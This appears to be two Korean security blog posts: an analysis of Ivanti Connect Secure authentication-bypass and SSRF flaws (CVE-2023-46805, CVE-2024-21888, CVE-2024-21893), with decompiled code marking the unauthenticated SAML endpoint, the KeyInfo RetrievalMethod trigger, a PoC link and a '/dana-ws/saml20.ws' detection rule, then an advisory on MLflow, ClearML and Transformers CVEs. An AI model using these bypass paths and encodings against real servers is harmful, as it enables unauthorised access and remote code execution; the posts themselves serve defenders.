※ CVE-2023-46805: doAuthCheck()에서 /api/v1/totp/user-backup-code 경로의 경우 인증이 강제되지 않음

  if ( !memcmp(uri_path_1, "/dana-na/", 9u)
    || !memcmp(a1->uri_path, "/dana-cached/setup/", 0x13u)
    || !memcmp(a1->uri_path, "/dana-cached/sc/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/hc/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/cc/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/ep/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/psal/", 0x12u)
    || !strncmp(uri_path1, "/dana-cached/remediation/", 0x19u)
    || !strncmp(uri_path1, "/dana-ws/saml20.ws", 0x12u) // <--- No auth for this SAML endpoint, CVE-2024-21888
    || !strncmp(uri_path1, "/dana-ws/samlecp.ws", 0x13u)
    || !strncmp(uri_path1, "/adfs/ls", 8u)
    || !strncmp(uri_path1, "/api/v1/profiler/", 0x11u)
    || !strncmp(uri_path1, "/api/v1/cav/client/", 0x13u) && strncmp(uri_path1, "/api/v1/cav/client/auth_token", 0x1Du) )
  {
    return 1;
  }
  v18 = (const void *)getDevice(a1->dwordC);
  if ( (unsigned __int8)sub_873D0(a1->uri_path, v18) )
    return 1;
  uri_path = a1->uri_path;
  if ( !strncmp((const char *)uri_path, "/api/v1/ueba/", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/integration/", 0x14u)
    || !strncmp((const char *)uri_path, "/api/v1/dsintegration", 0x15u)
    || !strncmp((const char *)uri_path, "/api/v1/pps/action/", 0x13u)
    || !strncmp((const char *)uri_path, "/api/my-session", 0xFu)
    || !strncmp((const char *)uri_path, "/api/v1/totp/user-backup-code", 0x1Du) // CVE-2023-46805
    || !strncmp((const char *)uri_path, "/api/v1/esapdata", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/sessions", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/tasks", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/gateways", 0x10u)
    || !strncmp((const char *)uri_path, "/_/api/aaa", 0xAu)
    || !strncmp((const char *)uri_path, "/api/v1/oidc", 0xCu) )
  {
    return 1;
  }

 

- 웹 서버의 함수 doDispatchRequest()특정 URL에 대해 인증되지 않은 POST 요청을 백엔드 서비스 saml-server로 전달

> /dana-ws/saml.ws, /dana-ws/saml20.ws, /dana-ws/samlcp.ws 경로의 경우 인증이 수행되지 않음

> 인증되지 않은 POST 요청을 웹 서버의 DSWSMLHandler 클래스를 통해 saml-server로 디스패치

※ saml-server: /home/bin/saml-server 

  if ( !strncmp(v33, "/dana-ws/saml.ws", 0x10u)
        || !strncmp(v33, "/dana-ws/saml20.ws", 0x12u) // <--- our unauthenticated path
        || !strncmp(v33, "/dana-ws/samlecp.ws", 0x13u) )
      {
        if ( !byte_13EBE0 && __cxa_guard_acquire((__guard *)&byte_13EBE0) )
        {
          v37 = "Watchdog";
          if ( !*((_BYTE *)a1 + 240) )
            v37 = "WebRequest";
          dword_13EC54 = DSGetStatementCounter("request.cc", 5283, "doDispatchRequest", v37, 10, "Dispatching to SAML");
          __cxa_guard_release((__guard *)&byte_13EBE0);
        }
        ++*(_QWORD *)dword_13EC54;
        if ( DSLog::Debug::isOn(v76) )
        {
          v34 = "Watchdog";
          if ( !*((_BYTE *)a1 + 240) )
            v34 = "WebRequest";
          DSLog::Debug::Write(
            (DSLog::Debug *)v34,
            &byte_9[1],
            (int)"request.cc",
            (const char *)&elf_gnu_hash_chain[440] + 3,
            (int)"Dispatching to SAML",
            v92);
        }
        DSCockpitCounter::updateCounter(0, 1);
        if ( !byte_13EBE8 && __cxa_guard_acquire((__guard *)&byte_13EBE8) )
        {
          dword_13EC50 = DSGetStatementCounter(
                           "request.cc",
                           5285,
                           "doDispatchRequest",
                           "WebRequest",
                           60,
                           "DSCockpitCounter Webhits Incremented");
          __cxa_guard_release((__guard *)&byte_13EBE8);
        }
        ++*(_QWORD *)dword_13EC50;
        if ( DSLog::Debug::isOn(v77) )
          DSLog::Debug::Write(
            (DSLog::Debug *)"WebRequest",
            off_3C,
            (int)"request.cc",
            (const char *)&elf_gnu_hash_chain[441] + 1,
            (int)"DSCockpitCounter Webhits Incremented",
            v92);
        DSCockpitCounter::updateCounter(4, 1);
        return sub_86980((int)a1) != 0; // <--- dispatch to saml-server via DSWSSAMLHandler
      }

 

2.2 CVE-2024-21893

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2024-21893 [3]

 

- SAML 구성 요소에 있는 SSRF 취약점으로 인해 공격자가 제한된 특정 리소스에 인증 없이 엑세스할 수 있는 취약점

> 영향받는 버전은 CVE-2024-21888과 동일

 

- saml-serverSOAP 요청을 포함한 모든 SAML 작업을 담당

> SoapHandler()는 모든 XML 처리를 위해 xmltooling 라이브러리를 호출

 SoapHandler()는 createXMLObjectFromSoapMessage()를 통해 들어오는 POST 요청의 콘텐츠 데이터를 XML 개체로 변환하는 함수

 

- XML 처리에 사용되는 xmltooling 라이브러리의 버전은 3.0.2

> 해당 xmltooling의 경우 최신 버전이 아니며, SSRF 취약점인 CVE-2023-36661에 영향을 받는 버전 [4][5]

> SSRF 취약점 트리거를 위해 KeyInfo의 RetrievalMethod 속성을 이용

> 해당 속성 사용시 XMLToolingFIPS.XMLObject.Signature()가 GET 요청을 통해 원격 리소스를 요청하는데 사용할 URI 지정 가능

> PoC [6]

※ CVE-2023-36661: xmltooling 3.2.4 이전 버전에서 조작된 KeyInfo 요소로 인해 발생하는 SSRF 취약점

[사진 3] RawData [7]

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [8][9]

제품명 영향받는 버전 해결버전
Ivanti Connect Secure 9.x
22.x
9.1R14.4
9.1R17.2
9.1R18.3
22.4R2.2
22.5R1.1
22.5R2.2
22.6R1.3
Ivanti Policy Secure 22.5R1.1
22.6R1.3(ZTA version)

 

- "/dana-ws/saml20.ws" 탐지룰 적용

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-21888
[2] https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis?referrer=notificationEmail
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-21893
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-36661
[5] https://shibboleth.net/community/advisories/secadv_20230612.txt
[6] https://github.com/h4x0r-dz/CVE-2024-21893.py
[7] https://blog.sonicwall.com/en-us/2024/02/ivanti-server-side-request-forgery-to-auth-bypass/
[8] https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US
[9] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71320
[10] https://www.assetnote.io/resources/research/ivantis-pulse-connect-secure-auth-bypass-round-two
[11] https://blog.sonicwall.com/en-us/2024/02/ivanti-server-side-request-forgery-to-auth-bypass/
[12] https://www.dailysecu.com/news/articleView.html?idxno=153513
[13] https://www.boannews.com/media/view.asp?idx=126369&page=15&kind=1
[14] https://www.boannews.com/media/view.asp?idx=126665&page=1&kind=1

1. 개요

- AI/ML 대상 버그 바운티 플랫폼 Huntr에서 AI/ML 오픈소스 플랫폼의 보안취약점 발견
- 영향을 받는 플랫폼은 MLflow, ClearML, Hugging Face Transformers로, 다양한 산업에서 사용되는 AI 솔루션

> MLflow: AI 라이프 사이클 전 과정을 관리해주는 MLOps 플랫폼
> ClearML: 다양한 사용자들이 AI 서비스를 사용 및 개발할 수 있도록 해주는 E2E MLOps 플랫폼
> Hugging Face Transformers: Hugging Face社에서 제공하는 AI 개발 라이브러리

 

1.1 MLOps [1][2]

- ML 시스템 개발, 배포, 유지보수를 효율적이고, 지속할 수 있도록 하는 업무 방식

 

2. 주요내용

AI/ML 플랫폼 CVE CVSS 설명 취약한 버전
MLflow CVE-2023-6831 [3] 10.0 - 공격자가 유효성 검사를 우회하고 서버의 모든 파일을 삭제할 수 있음 [4]
> mlflow/utils/uri.py의 verify_path_is_safe 메소드가 URL 인코딩을 올바르게 필터링하지 않아 발생
> URL 인코딩(%2E%2E)을 통해 verify_path_is_safe 메소드를 우회할 수 있음
> 악용에 성공한 공격자는 서버의 모든 파일을 삭제할 수 있음
MLflow 2.9.2 이전 버전
CVE-2024-0520 - mlflow.data 모듈의 결함으로 인해 공격자가 데이터 세트를 조작할 수 있음 [5]
응답 헤더에 "Content-Disposition" 헤더가 설정된 경우 "filename" 값을 검증 없이 최종 파일 경로를 생성
> 악용에 성공한 공격자는 업로드한 파일을 이용해 RCE를 수행할 수 있음
CVE-2023-6977 [6] - 공격자가 경로 유효성 검사 우회해 서버의 민감한 파일을 읽을 수 있음 [7]
> mlflow/utils/uri.py의 is_local_uri 메서드에서 parsed_uri.hostname() 를 사용해 경로 확인 (hostname == "." or hostname.stratwith(127.0.0.1) or hostname.startswith("localhost")) 및 우회
> 악용에 성공한 공격자는 업로드한 민감 파일에 접근해 내용을 확인할 수 있음
CVE-2023-6709 [8] 악성 레시피 구성을 로드하여 원격 명령을 실행할 수 있음 [9]
> MLflow는 jinja2 템플릿 엔진을 이용해 사용자가 제어할 수 있는 템플릿 구성 파일을 직접 로드하여 레시피 프레임워크를 구축하도록 함
> mlflow/utils/file_utils.py의 render_and_merge_yaml 메서드는 랜더링 및 합병에 샌드박스를 사용하지 않고 jinja2 라이브러리를 사용
> 악용에 성공한 사용자는 RCE를 수행할 수 있음
ClearML CVE-2023-6778 [10] 5.4 - 마크다운 편집기에 저장된 XSS 취약점
> 프로젝트 설명 및 보고서 섹션에 모두 사용되는 Markdown Editor 구성 요소에서 입력값을 적절히 삭제하지 않아 발생 [11]
> 악성 XSS 페이로드가 삽입되어 사용자 계정이 손상될 수 있음
ClearML Server 1.13.0 이전 버전
Hugging Face
Transformers
CVE-2023-7018 [12] 9.6 기능에 제한이 없어 악성 파일이 자동으로 로드되어 잠재적으로 원격 코드 실행할 수 있음 [13]
> pickle.load를 사용하여 원격 레포에서 vocab.pkl 파일을 아무런 제한 없이 자동으로 로드하기 위해 TransfoXLTokenizer를 구현
> 블랙리스트 및 기타 검사를 우회하여 감염된 모델이 로드되도록 함
> 악성 파일을 로드하여 RCE를 수행할 수 있음
Transformers 4.36 이전 버전

 

3. 조치사항

- 취약한 버전의 플랫폼 사용자의 경우 최신 패치 적용

> MLflow 2.9.2 / ClearML Server 1.13.0 / Transformers 4.36

 

4. 참고

[1] https://www.databricks.com/glossary/mlops
[2] https://jaemunbro.medium.com/mlops%EA%B0%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B3%A0-84f68e4690be
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-6831
[4] https://huntr.com/bounties/0acdd745-0167-4912-9d5c-02035fe5b314/
[5] https://huntr.com/bounties/93e470d7-b6f0-409b-af63-49d3e2a26dbc/
[6] https://nvd.nist.gov/vuln/detail/CVE-2023-6977
[7] https://huntr.com/bounties/fe53bf71-3687-4711-90df-c26172880aaf/
[8] https://nvd.nist.gov/vuln/detail/CVE-2023-6709
[9] https://huntr.com/bounties/9e4cc07b-6fff-421b-89bd-9445ef61d34d/
[10] https://nvd.nist.gov/vuln/detail/CVE-2023-6778
[11] https://huntr.com/bounties/5f3fffac-0358-48e6-a500-81bac13e0e2b/
[12] https://nvd.nist.gov/vuln/detail/CVE-2023-7018
[13] https://huntr.com/bounties/e1a3e548-e53a-48df-b708-9ee62140963c/

+ Recent posts